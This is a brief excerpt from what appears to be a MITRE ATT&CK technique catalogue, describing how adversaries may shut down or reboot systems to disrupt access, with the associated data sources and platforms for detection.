Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre